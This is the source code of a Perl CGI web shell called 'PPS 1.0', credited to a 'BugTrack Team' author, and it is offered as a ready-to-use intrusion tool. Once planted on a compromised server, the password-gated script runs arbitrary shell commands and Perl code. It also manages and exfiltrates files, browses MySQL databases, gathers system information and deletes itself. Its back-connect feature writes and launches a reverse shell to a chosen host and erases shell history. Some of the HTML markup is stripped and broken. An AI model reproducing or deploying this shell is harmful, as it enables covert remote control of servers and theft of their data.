#!/usr/bin/perl ################################################################################# #PPS 1.0 - Perl-cgi web shell by Pashkela [BugTrack Team] © 2010 use Digest::MD5 qw(md5_hex); $Password = "63a9f0ea7bb98050796b649e85481845";# - root [md5] $WinNT = 0; # *nix=0,win=1 $CommandTimeoutDuration = 10;# max time of command execution in console in seconds ################################################################################## $NTCmdSep = "&"; $UnixCmdSep = ";"; $ShowDynamicOutput = 1; $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);$CmdPwd = ($WinNT ? "cd" : "pwd");$PathSep = ($WinNT ? "\\" : "/");$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");$LogFlag = false;use File::Basename; use MIME::Base64;sub cod($){my $url =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;$url=encode_base64($_[0]);return $url;} sub dec($){ my $url1=decode_base64($_[0]);return $url1;}sub ReadParse {local (*in) = @_ if @_;local ($i, $loc, $key, $val);$MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;if($ENV{'REQUEST_METHOD'} eq "GET"){$in = $ENV{'QUERY_STRING'};}elsif($ENV{'REQUEST_METHOD'} eq "POST"){binmode(STDIN) if $MultipartFormData & $WinNT;read(STDIN, $in, $ENV{'CONTENT_LENGTH'});}if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/){$Boundary = '--'.$1; @list = split(/$Boundary/, $in); $HeaderBody = $list[1]; $HeaderBody =~ /\r\n\r\n|\n\n/;$Header = $`;$Body = $';$Body =~ s/\r\n$//;$in{'filedata'} = $Body;$Header =~ /filename=\"(.+)\"/;$in{'f'} = $1;$in{'f'} =~ s/\"//g;$in{'f'} =~ s/\s//g;for($i=2; $list[$i]; $i++){$list[$i] =~ s/^.+name=$//;$list[$i] =~ /\"(\w+)\"/;$key = $1;$val = $';$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;$val =~ s/%(..)/pack("c", hex($1))/ge;$in{$key} = $val;}}else{@in = split(/&/, $in);foreach $i (0 .. $#in){$in[$i] =~ s/\+/ /g;($key, $val) = split(/=/, $in[$i],2);$key =~ s/%(..)/pack("c", hex($1))/ge;$val =~ s/%(..)/pack("c", hex($1))/ge;$in{$key} .= "\0" if (defined($in{$key}));$in{$key} .= $val;}}}sub uname{$s="uname -a";$s.=" -U $q{u}" if($q{u});return $s;}sub hddall{$s='df -k /|sed 1d|awk "{total += \$2} {print total/1024/1024}"';$s.=" -U $q{u}" if($q{u});return $s;}sub hddfree{$s='df -k /|sed 1d|awk "{total += \$4} {print total/1024/1024}"';$s.=" -U $q{u}" if($q{u});return $s;}sub hddproc{$s='df -k /| sed 1d | awk "{total += \$5} {print 100-total}"';$s.=" -U $q{u}" if($q{u});return $s;}$hddall=hddall();$hddfree=hddfree();$hddproc=hddproc();sub PH{printf ("%.2f",(@_))};sub id{$s="id";$s.=" -U $q{u}" if($q{u});return $s;} sub dir_list{my @list=();$CurrentDir=~s!\Q//!/!g;my $dir=$CurrentDir;@list=scan_dir($dir);$id=0;foreach $arg(@list) {$id++;$ii='d'.$id;my $name=fileparse($arg,@suffixlist);if (-d $arg){print '
 [ '.$name.' ]
dir'.mtime($arg).''.owner($arg).'
R T
[zip]
[unzip]
[x]
';}else{$size1 = (stat $arg)[7]/1024;if ($size1<1000){$size = sprintf("%.2f",($size1))." KB";}else{$size = sprintf("%.2f",($size1/1024))." MB";}print '
 '.$name.'
'.$size.''.mtime($arg).''.owner($arg).'
R T
E
D
[zip]
[unzip]
[x]
'; }}print "";sub perm($){my $mode=sprintf("%04o",((stat($_[0]))[2])&07777);return $mode;}sub owner($){my $uid=(stat $_[0])[4];my $user=(getpwuid $uid)[0];my $uid1=(stat $_[0])[5];my $group=(getgrgid $uid1)[0];my $mode=sprintf("%04o",((stat($_[0]))[2])&07777);if (!-r $_[0]){return ''.$user.'/'.$group.''.$mode.'';}elsif(!-w $_[0]){return ''.$user.'/'.$group.''.$mode.'';}else{return ''.$user.'/'.$group.''.$mode.'';}}sub mtime($){my ($seconds, $minutes, $hours, $day, $month, $year, $wday, $yday,$isdst) = localtime((stat($_[0]))[9]);my $mmtime = ($year+1900).'-'.sprintf("%02d",($month+1)).'-'.sprintf("%02d",$day).' '.sprintf("%02d",$hours).':'.sprintf("%02d",$minutes).':'.sprintf("%02d",$seconds);return $mmtime;}sub scan_dir{my ($dir)=@_;my @dirs=();my @files=();my @list=();my @file=();for $file (glob($dir.'/.*')){if (-d $file && $file ne $dir.'/.'){push @dirs,$file;}if (-f $file){push @files,$file;}}for $file (glob($dir.'/*')){if (-d $file) {push @dirs,$file;}else{push @files,$file;}}@list=(@dirs,@files);return @list;}}sub HtmlSpecialChars($){my ($st)=@_;$st=~s|<|[<]|g;$st=~s|>|[>]|g;return $st;}sub DeHtmlSpecialChars($){my ($st)=@_;$st=~s|\[<\]|<|g;$st=~s|\[>\]|>|g;return $st;}$uname = uname();$idd = id();sub P{print @_}sub PrintPageHeader{print "Content-type: text/html\n\n";&GetCookies;$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;if ($LoggedIn != 1) {$Password = 0}$EncodedCurrentDir = $CurrentDir; $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;print <PPS 1.0$HtmlMetaHeader
Uname:
User:
Hdd:
DateTime:
Cwd:
END P("".`$uname`. "");print "
";P("". `$idd` . "");print "
";PH("".`$hddall`. "");print " GB Free: ";PH("".`$hddfree`. "");print " GB [ ";P("". `$hddproc`);print "% ]";$time=localtime;print "
$time
";my $cwd=""; my @path = split("/", $CurrentDir);my $mode=sprintf("%04o",((stat($CurrentDir))[2])&07777); my $ss=0;print '';foreach my $ar(@path){if($ar){$cwd .= "/".$ar;$ss++;print '';}}my $fw="";my $fe="";print "
[..] 
/'.$ar.'
";sub cwdcol{if (!-r $CurrentDir){return ''.$mode.'';}elsif(!-w $CurrentDir){return ''.$mode.'';}else{return ''.$mode.'';}}print "
".cwdcol()." [ home ]
"; print <
Server IP:
$ENV{'SERVER_ADDR'}
Client IP:
$ENV{'REMOTE_ADDR'}
$fw [ $fe Sysinfo $fw ] $fe
$fw [ $fe Files $fw ] $fe
$fw [ $fe Console $fw ] $fe
$fw [ $fe SQL $fw ] $fe
$fw [ $fe Network $fw ] $fe
$fw [ $fe Code $fw ] $fe
$fw [ $fe Logout $fw ] $fe
$fw [ $fe Self remove $fw ] $fe
END } sub PrintLoginForm{print < END } sub PrintPageFooter{print "";}sub GetCookies{@httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});foreach $cookie(@httpcookies){($id, $val) = split(/=/, $cookie);$Cookies{$id} = $val;}}sub PerformLogout{print "Set-Cookie: SAVEDPWD=;\n";print "Content-type: text/html\n\n";&PrintLoginForm;}sub PerformLogin{if(md5_hex($LoginPassword) eq $Password){print "Set-Cookie: SAVEDPWD=".md5_hex($LoginPassword).";\n";&PrintPageHeader("c");file_header();&PrintCommandLineInputForm;&PrintPageFooter;}else{print "Content-type: text/html\n\n";&PrintLoginForm;}}sub FileManager{&PrintPageHeader("f");file_header();&PrintCommandLineInputForm; &PrintPageFooter;}sub PrintCommandLineInputForm{$Prompt = $WinNT ? "$CurrentDir> " : "[$ServerName $CurrentDir]\$ "; dir_list();sub wr_cur {if (!-w $CurrentDir){print '[Not writable]';}else{print '[Writeable]';}} print <
Change dir:
Read file:
Make dir: END wr_cur(); print <
Make file: END wr_cur(); print <
Execute:
END &PrintFileUploadForm; print < END } sub PrintFileUploadForm{ print <Upload file: END wr_cur(); print <
END } sub ConsoleP{ print <

\$

\$
END } sub RTP{my $path=$CurrentDir."/".$TransferFile;print "Path: $path";$Fdata = dec($Fdata); print <
END } sub RT{&PrintPageHeader;print "

File operations:

";RTP();&PrintPageFooter;} sub Console{&PrintPageHeader;print "

Console:

";P("". `$idd` . "");ConsoleP();&PrintPageFooter;} sub CommandTimeout{if(!$WinNT){alarm(0); print <Command exceeded maximum time of $CommandTimeoutDuration second(s).
Killed it! END ConsoleP();exit;}} sub file_header { print <File manager END } sub ExecuteCommand1{if($RunCommand =~ m/^\s*cd\s+(.+)/){$CurrentDir=~s!\Q//!/!g;$OldDir=$CurrentDir;$Command="cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;chop($CurrentDir=`$Command`);&PrintPageHeader("c");print "

Console:

";print "";$Prompt = $WinNT ? "$OldDir> " : "[$ServerName $OldDir]\$ ";print "$Prompt $RunCommand";}else{&PrintPageHeader("c");print "

Console:

";print "";$Prompt = $WinNT ? "$CurrentDir> " : "[$ServerName $CurrentDir]\$ ";print "$Prompt $RunCommand
";$Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;if(!$WinNT){$SIG{'ALRM'}=\&CommandTimeout;alarm($CommandTimeoutDuration);}if($ShowDynamicOutput){$|=1;$Command .= " |";open(CommandOutput, $Command);	while(){$_ =~ s/(\n|\r\n)$//;print "$_\n";}$|=0;}else{print `$Command`;}if(!$WinNT){alarm(0);}print "
";}print "
";ConsoleP();&PrintPageFooter;}sub ExecuteCommand{my $path=$in{'path'};$CurrentDir=$in{'d'};$CurrentDir=~s!\Q//!/!g; if($RunCommand eq "changedir"){$RunCommand="cd $ChangeDir";}elsif($RunCommand eq "makedir"){$RunCommand="mkdir $MkDir";}elsif($RunCommand eq "makefile"){$RunCommand="touch $MakeFile";}elsif($RunCommand eq "zip"){$RunCommand="tar cfz ".$ZipArch.".tar.gz ".$ZipFile;}elsif($RunCommand eq "unzip"){$RunCommand = "tar xfz ".$UnZipArch;}elsif($RunCommand eq "delfile"){$RunCommand="rm ".$DelFile;}elsif($RunCommand eq "deldir"){$RunCommand = "rm -rf ".$DelDir;}elsif($RunCommand eq "chmod_file"){my $tempt=$in{'chmod'};$RunCommand="chmod $tempt $path";}elsif($RunCommand eq "rename_file"){my $rtempt=$in{'rename_file'};$RunCommand="mv $path $CurrentDir/$rtempt";}elsif($RunCommand eq "touch_file"){my $ttempt=$in{'touch_file'};$ttempt=~s!\Q-!!g;$ttempt=~s!\Q:!!g;$ttempt=~s/ //g;my $ar=substr($ttempt,12);my $al=substr($ttempt,0,12);$ttempt=$al.".".$ar;$RunCommand = "touch -t $ttempt $path";}if($RunCommand =~ m/^\s*cd\s+(.+)/){$OldDir = $CurrentDir;$Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;chop($CurrentDir = `$Command`);&PrintPageHeader("c");file_header();print "";$Prompt = $WinNT ? "$OldDir> " : "[$ServerName $OldDir]\$ ";print "$Prompt $RunCommand";}else{&PrintPageHeader("c");file_header();print "";$Prompt = $WinNT ? "$CurrentDir> " : "[$ServerName $CurrentDir]\$ ";print "$Prompt $RunCommand
";$Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;if(!$WinNT){$SIG{'ALRM'} = \&CommandTimeout;alarm($CommandTimeoutDuration);}if($ShowDynamicOutput){$|=1;$Command .= " |";open(CommandOutput, $Command);while(){$_ =~ s/(\n|\r\n)$//;print "$_\n";}$|=0;}else{	print `$Command`;}if(!$WinNT){alarm(0);}print "
";}print "
";&PrintCommandLineInputForm;&PrintPageFooter;}sub PrintDownloadLinkPage{local($FileUrl) = @_;if(-e $FileUrl){$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;$DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";$HtmlMetaHeader = "";&PrintPageHeader("c");file_header(); print <Download File $TransferFile...
END &PrintCommandLineInputForm;&PrintPageFooter;}else{&PrintPageHeader("f");file_header();print "Failed to download $FileUrl: $!";&PrintFileDownloadForm;&PrintPageFooter;}}sub SendFileToBrowser{local($SendFile) = @_;if(open(SENDFILE, $SendFile)){if($WinNT){binmode(SENDFILE);binmode(STDOUT);}$FileSize = (stat($SendFile))[7];($Filename = $SendFile) =~ m!([^/^\\]*)$!;print "Content-Type: application/x-unknown\n";print "Content-Length: $FileSize\n";print "Content-Disposition: attachment; filename=$1\n\n";print while();close(SENDFILE);}else{&PrintPageHeader("f");file_header();print "Failed to download $SendFile: $!";&PrintCommandLineInputForm;&PrintFileDownloadForm;&PrintPageFooter;}}sub BeginDownload{if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))){$TargetFile = $TransferFile;}else{chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;$TargetFile .= $PathSep.$TransferFile;}if($Options eq "go"){&SendFileToBrowser($TargetFile);}else{ &PrintDownloadLinkPage($TargetFile);}}sub SystemInfo{sub langs {$s = "which gcc;which perl;which python;which php;which tar;which zip";$s.=" -U $q{u}" if($q{u}); return $s;}sub hdd {$s = "df -h";$s.=" -U $q{u}" if($q{u});return $s;}sub perlv {$s = "perl -v";$s.=" -U $q{u}" if($q{u});return $s;}sub hosts {$s = "cat /etc/hosts";$s.=" -U $q{u}" if($q{u});return $s;}sub downloaders {$s = "which lynx;which links;which wget;which GET;which fetch;which curl";$s.=" -U $q{u}" if($q{u});return $s;}sub httpd {$s = "locate httpd.conf";$s.=" -U $q{u}" if($q{u});return $s;}$langs = langs();$httpd = httpd();$hdd = hdd();$perlv = perlv();$hosts = hosts();$downloaders = downloaders();&PrintPageHeader("c");print "

System information

";print '';print "Paths:";P("
". `$langs`. "
");print "Downloaders:";P("
". `$downloaders`. "
");print "httpd.conf:";P("
". `$httpd`. "
");print "HDD:";P("
". `$hdd`. "
");print "Perl version:";P("
". `$perlv`. "
");print "/etc/hosts:";P("
". `$hosts`. "
");print '
';&PrintPageFooter;}sub sql_loginform{print "

DataBases manager

";&GetCookies;$hhost=$Cookies{'hhost'};$pport=$Cookies{'pport'};$usser=$Cookies{'usser'};$passs=$Cookies{'passs'};$dbb=$Cookies{'dbb'};if (!$hhost){$hhost='localhost'};if (!$pport){$pport='3306'};if (!$usser){$usser='root'}; print <
NameSizeModifyOwner/GroupPermissionsActions
TypeHostPortLoginPasswordDatabase

END } sub sql{use DBI;&PrintPageHeader("p");sql_loginform();sql_query_form();&PrintPageFooter;}sub sql_vars_set{$hhost=$in{'sql_host'};$pport=$in{'sql_port'};$usser=$in{'sql_login'};$passs=$in{'sql_pass'};$dbb=$in{'sql_db'};}sub sql_query_form{ print <
END } sub sql_cq_form { print <Get data from columns:

END } sub sql_databases_form{print '
';print '';print "";print '';print '['.$s4et.']'.' '.$$ref[0].'';print "
";} sub sql_tables_form {print '
';print '';print "";print '';print '['.$s4et.']'.' '.$$ref[0].'';print "
";} sub sql_columns_form{print '';print '
';print '';print '';print '';print '['.$s4et.']'.$$ref[0].'';print "
";} sub sql_data_form {print '
';print '';print "[$s4et] $$ref[0]";print "
";} sub NetPrint{&PrintPageHeader("p");NetForm();&PrintPageFooter;} sub NetForm {$rip = $ENV{'REMOTE_ADDR'}; print <Back-connect [perl]
Server: Port:

END } sub back{open(FILE,">/tmp/bbc.pl");$bbc = '#!/usr/bin/perl use IO::Socket;$system = "/bin/bash";use Socket;use FileHandle;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die print "[-] Unable to Resolve Host\n";connect(SOCKET, sockaddr_in("'.$port.'", inet_aton("'.$target.'"))) or die print "[-] Unable to Connect Host\n";SOCKET->autoflush();open(STDIN, ">&SOCKET");open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system("unset HISTFILE; unset SAVEHIST ;echo PPS 1.0 backconnect:;pwd;");system($system);';print FILE $bbc;close(FILE);system("chmod 777 /tmp/bbc.pl;perl /tmp/bbc.pl $target $port");exit;} sub NetGo{&PrintPageHeader("c");$target = $in{'server'};$port = $in{'ppport'};NetForm();back();&PrintPageFooter;} sub EvalCodePrint{&PrintPageHeader("p");EvalCodeForm();&PrintPageFooter;} sub EvalCodeForm{ print <Execution PERL-code
END } sub EvalCode{&PrintPageHeader("c");EvalCodeForm();$ccode = $in{'code'};print "
Result:
";eval $ccode;&PrintPageFooter;} sub EditFilePathForm { print <
$Prompt END } sub EditFilePath{$fpath = $in{'d'} . "/". $in{'path'};EditFilePrint();} sub EditFilePrint{&PrintPageHeader("p");EditFileForm();&PrintPageFooter;} sub EditFileForm{open(FILE, $fpath);@file = ;$fccodde = HtmlSpecialChars(join('', @file)); print <Edit File: $fpath
END } sub ViewFile{$fpath = $CurrentDir."/".$ViewF;&PrintPageHeader("c");open(FILE, $fpath);@file = ;$fccodde = join('', @file); $fccodde = HtmlSpecialChars($fccodde); print <View File: $fpathhtmlspecialchars:
END &PrintPageFooter; } sub EditFile {&PrintPageHeader("c");$fccode = $in{'ccode'};$ffpath = $in{'path'}; print <Edit File: $ffpath
END open(FFF,"> $ffpath");print FFF DeHtmlSpecialChars($fccode);close(FFF);print "File $ffpath saved";&PrintPageFooter;} sub sql_columns{&GetCookies;$hhost=$Cookies{'hhost'};$pport=$Cookies{'pport'};$usser=$Cookies{'usser'};$passs=$Cookies{'passs'}; $dbb=$Cookies{'dbb'};$table=$Cookies{'table'};&PrintPageHeader("c");sql_vars_set();sql_loginform();$column=$in{'column'}; print <function setCookie (name, value, expires, path, domain, secure){document.cookie=name+"="+escape(value)+((expires) ? "; expires=" + expires : "")+((path) ? "; path=" + path : "")+((domain) ? "; domain=" + domain : "")+ ((secure) ? "; secure" : "");}setCookie("column", "$column", "", "/"); END print "";print '';$dbh = DBI->connect("DBI:mysql:$dbb:$hhost:$pport",$usser,$passs);$sth = $dbh->prepare("SHOW DATABASES");$sth->execute;print "DATABASES:
";print "
";while ($ref = $sth->fetchrow_arrayref){$s4et++;sql_databases_form();}$rc=$sth->finish;print "
";sql_query_form();print "
";$s4et = 0;$sth = $dbh->prepare("SHOW TABLES FROM $dbb");$sth->execute;print "";print "Tables from $dbb:
";print "";print "";$s4et = 0;$zapros = "SELECT $column FROM `".$dbb."`.`".$table."` LIMIT 0,30";print '';$sth = $dbh->prepare($zapros);$sth->execute;print "
";while ($ref = $sth->fetchrow_arrayref){ $s4et++;sql_tables_form();}$rc=$sth->finish;print "
";$s4et=0; $sth = $dbh->prepare("show columns from $table from $dbb");$sth->execute;while ($ref = $sth->fetchrow_arrayref){$s4et++; sql_columns_form();}$rc=$sth->finish;print "
";while ($ref = $sth->fetchrow_arrayref){$s4et++;sql_data_form();}$rc = $sth->finish;$rc=$dbh->disconnect;print "
";&PrintPageFooter;}sub sql_tables{&GetCookies;$hhost=$Cookies{'hhost'};$pport=$Cookies{'pport'};$usser=$Cookies{'usser'};$passs=$Cookies{'passs'};$dbb=$Cookies{'dbb'};&PrintPageHeader("c"); sql_vars_set();sql_loginform();$qqquery = $in{'table'}; print <function setCookie (name,value,expires,path,domain,secure){document.cookie=name+"="+escape(value)+((expires) ? ";expires="+expires:"")+((path) ? ";path="+path:"")+((domain) ? ";domain="+domain:"")+((secure) ? ";secure":"");} setCookie("table", "$qqquery", "", "/"); END print "";print '';$dbh = DBI->connect("DBI:mysql:$dbb:$hhost:$pport",$usser,$passs);$sth=$dbh->prepare("SHOW DATABASES");$sth->execute;print "DATABASES:
";print "
";while ($ref=$sth->fetchrow_arrayref){$s4et++;sql_databases_form();}$rc=$sth->finish;print "
";sql_cq_form();print "";sql_query_form();print "
";$s4et=0;$sth=$dbh->prepare("SHOW TABLES FROM $dbb");$sth->execute;print "Tables from $dbb:
";print "";print "
";while ($ref = $sth->fetchrow_arrayref){$s4et++;sql_tables_form();}$rc=$sth->finish;print "
";$s4et=0;$zapros = "SHOW COLUMNS FROM `$qqquery` FROM `$dbb`";print '';$sth=$dbh->prepare($zapros);$sth->execute;while ($ref = $sth->fetchrow_arrayref){$s4et++;sql_columns_form();}$rc=$sth->finish;$rc=$dbh->disconnect;print "
";&PrintPageFooter;} sub sql_databases{sql_vars_set();&PrintPageHeader("c");sql_vars_set();sql_loginform();$ddb = $in{'database'}; print <function setCookie (name,value,expires,path,domain,secure){document.cookie = name+"="+escape(value) +((expires) ? ";expires="+expires:"")+((path) ? "; path="+path:"")+((domain) ? ";domain="+domain:"")+((secure) ? ";secure":"");}setCookie("dbb","$ddb","","/"); END print "";print '';$dbh = DBI->connect("DBI:mysql:$dbb:$hhost:$pport",$usser,$passs);$sth = $dbh->prepare("SHOW DATABASES");$sth->execute;print "DATABASES:
";print "
";while ($ref=$sth->fetchrow_arrayref){$s4et++;sql_databases_form();}$rc=$sth->finish;print "
";sql_query_form();print "
";$s4et=0;$zapros = "SHOW TABLES FROM `$ddb`";print '';$sth=$dbh->prepare($zapros);$sth->execute;print "";print "Tables from $ddb:
";print " ";while ($ref=$sth->fetchrow_arrayref){$s4et++;sql_tables_form();}$s4et=0;$rc=$sth->finish;$rc=$dbh->disconnect;print "
";&PrintPageFooter;} sub sql_set_cookie{print "Set-Cookie: hhost=$hhost;\n";print "Set-Cookie: pport=$pport;\n";print "Set-Cookie: usser=$usser;\n";print "Set-Cookie: passs=$passs;\n";print "Set-Cookie: dbb=$dbb;\n";} sub sql_query{sql_vars_set();&GetCookies;$hhost=$Cookies{'hhost'};$pport=$Cookies{'pport'};$usser=$Cookies{'usser'};$passs=$Cookies{'passs'};$dbb=$Cookies{'dbb'};$table=$Cookies{'table'};&PrintPageHeader("c");sql_vars_set();sql_loginform();$qquery=$in{'cquery'};if ($qquery){$qquery="SELECT CONCAT_WS(0x3a,$qquery) FROM `$dbb`.`$table` LIMIT 0,30";}else{$qquery = $in{'query'};}$dbh = DBI->connect("DBI:mysql:$dbb:$hhost:$pport",$usser,$passs);$sth=$dbh->prepare("SHOW DATABASES");$sth->execute;print '';print "";print "DATABASES:";print "
";while ($ref=$sth->fetchrow_arrayref){$s4et++;sql_databases_form();}$rc=$sth->finish;print "
";sql_query_form();print "
";$s4et=0;$sth = $dbh->prepare($qquery);$sth->execute;print "Results:
";print " ";while ($ref=$sth->fetchrow_arrayref){$s4et++;print "";}$s4et=0;$rc=$sth->finish;$rc=$dbh->disconnect;print "
[$s4et]$$ref[0]
";print '';&PrintPageFooter;} sub sql_connect{sql_vars_set();sql_set_cookie();&PrintPageHeader("c");sql_loginform();sql_vars_set();$s4et=0;$dbb="";$dbh=DBI->connect("DBI:mysql:$dbb:$hhost:$pport",$usser,$passs);if($hhost && $pport && $usser && $passs){$zapros = "SHOW DATABASES";print '';$sth = $dbh->prepare($zapros);$sth->execute;print '';print "";print "DATABASES:";print "
";while($ref=$sth->fetchrow_arrayref){$s4et++;sql_databases_form();}$rc=$sth->finish;print "
"; sql_query_form();print "
";$rc = $dbh->disconnect;print '
';return;}print "Some error...";print '
';&PrintPageFooter;} sub UploadFile{if($TransferFile eq ""){&PrintPageHeader("f");file_header();&PrintCommandLineInputForm;&PrintFileUploadForm;&PrintPageFooter;return;}&PrintPageHeader("c");file_header();print "Uploading $TransferFile to $CurrentDir...
";chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;$TransferFile =~ m!([^/^\\]*)$!;$TargetName .= $PathSep.$1;$TargetFileSize = length($in{'filedata'});if(open(UPLOADFILE, ">$TargetName")){binmode(UPLOADFILE) if $WinNT;print UPLOADFILE $in{'filedata'};close(UPLOADFILE);print "Transfered $TargetFileSize Bytes.
";print "File Path: $TargetName
";}else{print "Failed: $!
";}print "
";&PrintCommandLineInputForm;&PrintPageFooter;} sub DownloadFile{if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))){$TargetFile=$TransferFile; }else{chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;$TargetFile .= $PathSep.$TransferFile;}if($Options eq "go"){ &SendFileToBrowser($TargetFile);}else{&PrintDownloadLinkPage($TargetFile);}} sub Remove{use Cwd qw(abs_path);my $path = abs_path($0);system("rm $path");} &ReadParse;&GetCookies;$ScriptLocation=$ENV{'SCRIPT_NAME'};$ServerName=$ENV{'SERVER_NAME'};$LoginPassword=$in{'p'};$RunCommand=$in{'c'};$RunCommand1=$in{'aliases'};if($RunCommand1){$RunCommand=$RunCommand1}$ChangeDir=$in{'cc'};$ZipFile=$in{'zip'};$ZipArch=$in{'arh_name'};$UnZipArch=$in{'unzip_name'};$DelFile=$in{'del_file'};$DelDir=$in{'del_dir'};$MkDir=$in{'md'};$ViewF=$in{'path'};$Fchmod=$in{'fchmod'};$Fdata=$in{'fdata'};$MakeFile=$in{'mf'};$TransferFile=$in{'f'};$Options=$in{'o'};$Action=$in{'a'};$Action="filemanager" if($Action eq "");$CurrentDir=$in{'d'};chop($CurrentDir=`$CmdPwd`) if($CurrentDir eq "");$LoggedIn=$Cookies{'SAVEDPWD'} eq $Password;if($Action eq "login" || !$LoggedIn){&PerformLogin;}elsif($Action eq "command"){&ExecuteCommand;}elsif($Action eq "RT"){&RT;}elsif($Action eq "view_file"){&ViewFile;}elsif($Action eq "command1"){&ExecuteCommand1;}elsif($Action eq "filemanager"){&FileManager;}elsif($Action eq "console"){&Console;}elsif($Action eq "upload"){&UploadFile;}elsif($Action eq "download"){&DownloadFile;}elsif($Action eq "systeminfo"){&SystemInfo;}elsif($Action eq "code"){&EvalCodePrint;}elsif($Action eq "eval_code"){&EvalCode;}elsif($Action eq "net"){&NetPrint;}elsif($Action eq "net_go"){&NetGo;}elsif($Action eq "sql"){&sql;}elsif($Action eq "sql_connect"){&sql_connect;}elsif($Action eq "sql_query"){&sql_query;}elsif($Action eq "remove"){&Remove;}elsif($Action eq "edit_file"){&EditFile;}elsif($Action eq "edit_file_path"){&EditFilePath;}elsif($Action eq "sql_databases"){&sql_databases;}elsif($Action eq "sql_tables"){&sql_tables;}elsif($Action eq "sql_columns"){&sql_columns;}elsif($Action eq "logout"){&PerformLogout;}